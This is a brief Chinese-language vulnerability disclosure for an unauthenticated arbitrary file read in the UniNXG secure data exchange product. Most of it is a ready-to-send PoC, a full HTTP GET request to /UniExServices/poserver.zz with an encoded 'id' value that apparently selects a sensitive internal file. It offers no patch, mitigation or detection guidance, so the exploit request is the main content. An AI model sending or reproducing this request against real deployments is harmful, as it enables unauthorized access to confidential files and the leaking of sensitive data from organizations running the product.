漏洞描述
联软安渡UniNXG安全数据交换系统存在任意文件读取漏洞，攻击者可以通过构造加密的恶意请求，未经身份验证读取系统内部敏感文件，可能导致敏感信息泄露。
联软安渡UniNXG安全数据交换系统 /UniExServices/poserver.zz 文件读取漏洞
PoC代码
GET /UniExServices/poserver.zz?pgop=opendiskdoc&id=KmcgY3MtK3IpLSRfOXE9YmpkL2orbBdrKztnJCltInIrbDhyP24rOzhjPHI= HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip
Cache-Control: max-age=0
Connection: keep-alive
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1